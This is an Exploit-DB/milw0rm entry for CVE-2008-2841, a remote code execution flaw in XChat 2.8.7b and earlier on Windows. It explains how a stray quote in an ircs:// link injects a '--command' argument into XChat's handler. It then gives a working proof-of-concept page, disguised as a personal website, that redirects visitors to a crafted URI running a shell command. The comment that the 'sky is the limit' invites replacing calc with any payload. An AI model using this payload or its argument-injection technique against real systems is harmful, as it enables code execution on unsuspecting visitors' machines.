XChat <= 2.8.7b URI Handler Remote Code Execution Exploit ie6/ie7

2008-06-13T00:00:00
ID EDB-ID:5795
Type exploitdb
Reporter securfrog
Modified 2008-06-13T00:00:00

Description

XChat <= 2.8.7b (URI Handler) Remote Code Execution Exploit (ie6/ie7). CVE-2008-2841. Remote exploit for windows platform

                                        
                                            ##################################################################################################################
#
# Xchat &lt;= 2.8.7b Remote Code Execution (tested on Windows XP SP1+SP2+SP3, IE6 & IE7 fully patched)
# Vendor : http://xchat.org/
# Affected Os : Windows *
# Risk : critical
#
# This bug is related to the URI Handler vulnerability but the approch is a bit different.
# We don't use any % or  ../../../ as the others related bugs, just a single "
# According to the registry , when the IRCS:// URI is called , the command launched is :
# C:\Program Files\xchat\xchat.exe --existing --url="%1"
#
# The xchat --help option tells us :
# " --command=COMMAND :Send a command to existing xchat "
#
# So we add a simple " at the end of the URL and we're in business ?
# Yep =) ircs://blabla@3.3.3.3" --command "shell calc"
#
# Note: The victim needs to be connected to an irc server , and also need IE * .
#
#
#
# Greetz: French/Quebec community, http://spiritofhack.net/
#
# "If in times like theses you can talk about individual freedoom, you're propably a terrorist"
#
# Poc: this only launch the calc, sky is the limit passed this point.
&lt;html&gt;
&lt;head&gt;&lt;title&gt;Welcome to my personal website&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
&lt;script&gt;document.location='ircs://blabla@3.3.3.3" --command "shell calc"'&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

# milw0rm.com [2008-06-13]